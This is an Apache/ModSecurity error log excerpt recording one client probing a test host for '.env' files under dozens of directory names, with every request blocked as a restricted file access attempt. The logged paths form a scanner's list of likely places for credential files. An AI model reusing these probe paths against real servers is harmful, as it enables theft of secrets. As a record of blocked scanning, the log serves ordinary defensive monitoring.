[Wed Feb 25 06:05:24.848168 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/platform/.env&quot;] [unique_id &quot;aZ6DFPjNQqDNAmB2zjqaWwAAAAY&quot;]
[Wed Feb 25 06:05:24.848329 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/platform/.env&quot;] [unique_id &quot;aZ6DFPjNQqDNAmB2zjqaWwAAAAY&quot;]
[Wed Feb 25 06:05:24.889508 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /playground/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/playground/.env&quot;] [unique_id &quot;aZ6DFPjNQqDNAmB2zjqaXAAAAAY&quot;]
[Wed Feb 25 06:05:24.889797 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/playground/.env&quot;] [unique_id &quot;aZ6DFPjNQqDNAmB2zjqaXAAAAAY&quot;]
[Wed Feb 25 06:05:24.889993 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/playground/.env&quot;] [unique_id &quot;aZ6DFPjNQqDNAmB2zjqaXAAAAAY&quot;]
[Wed Feb 25 06:05:24.965492 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /plugin_static/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/plugin_static/.env&quot;] [unique_id &quot;aZ6DFPjNQqDNAmB2zjqaXQAAAAY&quot;]
[Wed Feb 25 06:05:24.965774 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/plugin_static/.env&quot;] [unique_id &quot;aZ6DFPjNQqDNAmB2zjqaXQAAAAY&quot;]
[Wed Feb 25 06:05:24.965974 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/plugin_static/.env&quot;] [unique_id &quot;aZ6DFPjNQqDNAmB2zjqaXQAAAAY&quot;]
[Wed Feb 25 06:05:25.007671 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /plugins/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/plugins/.env&quot;] [unique_id &quot;aZ6DFfjNQqDNAmB2zjqaXgAAAAY&quot;]
[Wed Feb 25 06:05:25.007958 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/plugins/.env&quot;] [unique_id &quot;aZ6DFfjNQqDNAmB2zjqaXgAAAAY&quot;]
[Wed Feb 25 06:05:25.008138 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/plugins/.env&quot;] [unique_id &quot;aZ6DFfjNQqDNAmB2zjqaXgAAAAY&quot;]
[Wed Feb 25 06:05:25.156743 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /old/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/old/.env&quot;] [unique_id &quot;aZ6DFVIszkcv5YapLJKXDgAAAAI&quot;]
[Wed Feb 25 06:05:25.157017 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/old/.env&quot;] [unique_id &quot;aZ6DFVIszkcv5YapLJKXDgAAAAI&quot;]
[Wed Feb 25 06:05:25.157207 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/old/.env&quot;] [unique_id &quot;aZ6DFVIszkcv5YapLJKXDgAAAAI&quot;]
[Wed Feb 25 06:05:25.249619 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /post-deployment/.vscode/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/post-deployment/.vscode/.env&quot;] [unique_id &quot;aZ6DFfjNQqDNAmB2zjqaXwAAAAY&quot;]
[Wed Feb 25 06:05:25.249927 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/post-deployment/.vscode/.env&quot;] [unique_id &quot;aZ6DFfjNQqDNAmB2zjqaXwAAAAY&quot;]
[Wed Feb 25 06:05:25.250118 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/post-deployment/.vscode/.env&quot;] [unique_id &quot;aZ6DFfjNQqDNAmB2zjqaXwAAAAY&quot;]
[Wed Feb 25 06:05:25.271532 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /postfixadmin/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/postfixadmin/.env&quot;] [unique_id &quot;aZ6DFfjNQqDNAmB2zjqaYAAAAAY&quot;]
[Wed Feb 25 06:05:25.271794 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/postfixadmin/.env&quot;] [unique_id &quot;aZ6DFfjNQqDNAmB2zjqaYAAAAAY&quot;]
[Wed Feb 25 06:05:25.271968 2026] [:error] [pid 2312956] [client 185.177.72.13:16414] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/postfixadmin/.env&quot;] [unique_id &quot;aZ6DFfjNQqDNAmB2zjqaYAAAAAY&quot;]
[Wed Feb 25 06:05:25.318136 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /oldsanta/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/oldsanta/.env&quot;] [unique_id &quot;aZ6DFVIszkcv5YapLJKXEQAAAAI&quot;]
[Wed Feb 25 06:05:25.318424 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/oldsanta/.env&quot;] [unique_id &quot;aZ6DFVIszkcv5YapLJKXEQAAAAI&quot;]
[Wed Feb 25 06:05:25.318597 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/oldsanta/.env&quot;] [unique_id &quot;aZ6DFVIszkcv5YapLJKXEQAAAAI&quot;]
[Wed Feb 25 06:05:25.341865 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /opencart/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/opencart/.env&quot;] [unique_id &quot;aZ6DFVIszkcv5YapLJKXEgAAAAI&quot;]
[Wed Feb 25 06:05:25.342116 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/opencart/.env&quot;] [unique_id &quot;aZ6DFVIszkcv5YapLJKXEgAAAAI&quot;]
[Wed Feb 25 06:05:25.342262 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/opencart/.env&quot;] [unique_id &quot;aZ6DFVIszkcv5YapLJKXEgAAAAI&quot;]
[Wed Feb 25 06:05:25.382057 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /ops/vagrant/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ops/vagrant/.env&quot;] [unique_id &quot;aZ6DFVIszkcv5YapLJKXEwAAAAI&quot;]
[Wed Feb 25 06:05:25.382323 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ops/vagrant/.env&quot;] [unique_id &quot;aZ6DFVIszkcv5YapLJKXEwAAAAI&quot;]
[Wed Feb 25 06:05:25.382508 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ops/vagrant/.env&quot;] [unique_id &quot;aZ6DFVIszkcv5YapLJKXEwAAAAI&quot;]
[Wed Feb 25 06:05:25.402916 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /prestashop/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/prestashop/.env&quot;] [unique_id &quot;aZ6DFZ6MLyC5r86Hx-ZXfQAAAAQ&quot;]
[Wed Feb 25 06:05:25.403151 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/prestashop/.env&quot;] [unique_id &quot;aZ6DFZ6MLyC5r86Hx-ZXfQAAAAQ&quot;]
[Wed Feb 25 06:05:25.403305 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/prestashop/.env&quot;] [unique_id &quot;aZ6DFZ6MLyC5r86Hx-ZXfQAAAAQ&quot;]
[Wed Feb 25 06:05:25.416164 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /option/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/option/.env&quot;] [unique_id &quot;aZ6DFVIszkcv5YapLJKXFAAAAAI&quot;]
